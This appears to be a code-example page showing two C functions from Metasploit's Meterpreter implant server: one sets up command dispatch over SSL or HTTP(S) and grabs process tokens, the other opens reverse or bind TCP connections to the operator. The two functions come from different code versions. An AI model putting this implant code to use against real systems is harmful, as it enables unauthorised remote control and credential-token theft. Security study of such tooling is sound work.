Ejemplo n.º 1
0
/*
 * Setup and run the server. This is called from Init via the loader.
 */
DWORD server_setup( SOCKET fd )
{
	Remote * remote        = NULL;
	char cStationName[256] = {0};
	char cDesktopName[256] = {0};
	DWORD res              = 0;

	dprintf("[SERVER] Initializing...");

#ifdef _UNIX
	int local_error = 0;
#endif

	// if hAppInstance is still == NULL it means that we havent been
	// reflectivly loaded so we must patch in the hAppInstance value
	// for use with loading server extensions later.
	InitAppInstance();

	srand( (unsigned int)time(NULL) );
	
	__try 
	{
		do
		{
			dprintf( "[SERVER] module loaded at 0x%08X", hAppInstance );
			
			// Open a THREAD item for the servers main thread, we use this to manage migration later.
			serverThread = thread_open();

			dprintf( "[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm );

			if( !(remote = remote_allocate(fd)) )
			{
				SetLastError( ERROR_NOT_ENOUGH_MEMORY );
				break;
			}

			remote->url = global_meterpreter_url;

			if (strcmp(global_meterpreter_transport+12, "TRANSPORT_SSL") == 0) {
				remote->transport = METERPRETER_TRANSPORT_SSL;
				dprintf("[SERVER] Using SSL transport...");
			} else if (strcmp(global_meterpreter_transport+12, "TRANSPORT_HTTPS") == 0) {
				remote->transport = METERPRETER_TRANSPORT_HTTPS;
				dprintf("[SERVER] Using HTTPS transport...");
			} else if (strcmp(global_meterpreter_transport+12, "TRANSPORT_HTTP") == 0) {
				remote->transport = METERPRETER_TRANSPORT_HTTP;
				dprintf("[SERVER] Using HTTP transport...");
			}

			// Do not allow the file descriptor to be inherited by child processes
			SetHandleInformation((HANDLE)fd, HANDLE_FLAG_INHERIT, 0);

			dprintf("[SERVER] Initializing tokens...");

			// Store our thread handle
			remote->hServerThread = serverThread->handle;

#ifdef _WIN32
			// Store our process token
			if (!OpenThreadToken(remote->hServerThread, TOKEN_ALL_ACCESS, TRUE, &remote->hServerToken))
				OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->hServerToken);

			// Copy it to the thread token
			remote->hThreadToken = remote->hServerToken;

			// Save the initial session/station/desktop names...
			remote->dwOrigSessionId      = server_sessionid();
			remote->dwCurrentSessionId   = remote->dwOrigSessionId;
			GetUserObjectInformation( GetProcessWindowStation(), UOI_NAME, &cStationName, 256, NULL );
			remote->cpOrigStationName    = _strdup( cStationName );
			remote->cpCurrentStationName = _strdup( cStationName );
			GetUserObjectInformation( GetThreadDesktop( GetCurrentThreadId() ), UOI_NAME, &cDesktopName, 256, NULL );
			remote->cpOrigDesktopName    = _strdup( cDesktopName );
			remote->cpCurrentDesktopName = _strdup( cDesktopName );
#endif




			// Process our default SSL-over-TCP transport
			if (remote->transport == METERPRETER_TRANSPORT_SSL) {
				dprintf("[SERVER] Flushing the socket handle...");
				server_socket_flush( remote );
		
				dprintf("[SERVER] Initializing SSL...");
				if( !server_initialize_ssl( remote ) )
					break;

				dprintf("[SERVER] Negotiating SSL...");
				if( !server_negotiate_ssl( remote ) )
					break;

				dprintf("[SERVER] Registering dispatch routines...");
				register_dispatch_routines();

				dprintf("[SERVER] Entering the main server dispatch loop for transport %d...", remote->transport);
				server_dispatch( remote );
		
				dprintf("[SERVER] Deregistering dispatch routines...");
				deregister_dispatch_routines( remote );
			}

			if (remote->transport == METERPRETER_TRANSPORT_HTTP || remote->transport == METERPRETER_TRANSPORT_HTTPS) {
				dprintf("[SERVER] Registering dispatch routines...");
				register_dispatch_routines();
				
				dprintf("[SERVER] Entering the main server dispatch loop for transport %d...", remote->transport);
#ifdef _WIN32
				server_dispatch_http_wininet( remote );
#else
				// XXX: Handle non-windows HTTP transport
#endif 

				dprintf("[SERVER] Deregistering dispatch routines...");
				deregister_dispatch_routines( remote );
			}

		} while (0);

		if (remote->transport == METERPRETER_TRANSPORT_SSL) {
			dprintf("[SERVER] Closing down SSL...");
			server_destroy_ssl( remote );
		}

		if( remote )
			remote_deallocate( remote );

	} 
	__except( exceptionfilter(GetExceptionCode(), GetExceptionInformation()) )
	{
		dprintf("[SERVER] *** exception triggered!");

		thread_kill( serverThread );
	}

	dprintf("[SERVER] Finished.");
	return res;
}
/*!
 * @brief Configure the TCP connnection. If it doesn't exist, go ahead and estbalish it.
 * @param remote Pointer to the remote instance with the TCP transport details wired in.
 * @param sock Reference to the original socket FD passed to metsrv.
 * @return Indication of success or failure.
 */
static BOOL configure_tcp_connection(Transport* transport) {
	DWORD result = ERROR_SUCCESS;
	size_t charsConverted;
	char tempUrl[512] = {0};
	TcpTransportContext* ctx = (TcpTransportContext*)transport->ctx;

	// check if comms is already open via a staged payload
	if (ctx->fd) {
		dprintf("[TCP] Connection already running on %u", ctx->fd);
	}
	else {
		dprintf("[TCP CONFIGURE] Url: %s", transport->url);

		// copy the URL to the temp location and work from there
		// so that we don't damage the original URL while breaking
		// it up into its individual parts.
		strncpy(tempUrl, transport->url, sizeof(tempUrl) - 1);

		//transport->start_time = current_unix_timestamp();
		transport->comms_last_packet = current_unix_timestamp();

		if (strncmp(tempUrl, "tcp", 3) == 0) {
			char* pHost = strstr(tempUrl, "//") + 2;
			char* pPort = strrchr(pHost, ':') + 1;

			// check if we're using IPv6
			if (tempUrl[3] == '6') {
				char* pScopeId = strrchr(pHost, '?') + 1;
				*(pScopeId - 1) = '\0';
				*(pPort - 1) = '\0';
				dprintf("[STAGELESS] IPv6 host %s port %S scopeid %S", pHost, pPort, pScopeId);
				result = reverse_tcp6(pHost, pPort, atol(pScopeId), transport->timeouts.retry_total,
					transport->timeouts.retry_wait, &ctx->fd);
			}
			else {
				u_short usPort = (u_short)atoi(pPort);

				// if no host is specified, then we can assume that this is a bind payload, otherwise
				// we'll assume that the payload is a reverse_tcp one and the given host is valid
				if (*pHost == ':') {
					dprintf("[STAGELESS] IPv4 bind port %s", pPort);
					result = bind_tcp(usPort, &ctx->fd);
				}
				else {
					*(pPort - 1) = '\0';
					dprintf("[STAGELESS] IPv4 host %s port %s", pHost, pPort);
					result = reverse_tcp4(pHost, usPort, transport->timeouts.retry_total,
						transport->timeouts.retry_wait, &ctx->fd);
				}
			}
		}
	}

	if (result != ERROR_SUCCESS) {
		dprintf("[SERVER] Something went wrong %u", result);
		return FALSE;
	}

	dprintf("[SERVER] Looking good, FORWARD!");

	dprintf("[SERVER] Flushing the socket handle...");
	server_socket_flush(transport);

	// Short term hack to be removed when the stageless stuff works.
	// Flush the socket a second time to ignore the payload if we're
	// reconnecting
	server_socket_flush(transport);

	transport->comms_last_packet = current_unix_timestamp();

	dprintf("[SERVER] Initializing SSL...");
	if (!server_initialize_ssl(transport)) {
		return FALSE;
	}

	dprintf("[SERVER] Negotiating SSL...");
	if (!server_negotiate_ssl(transport)) {
		return FALSE;
	}

	return TRUE;
}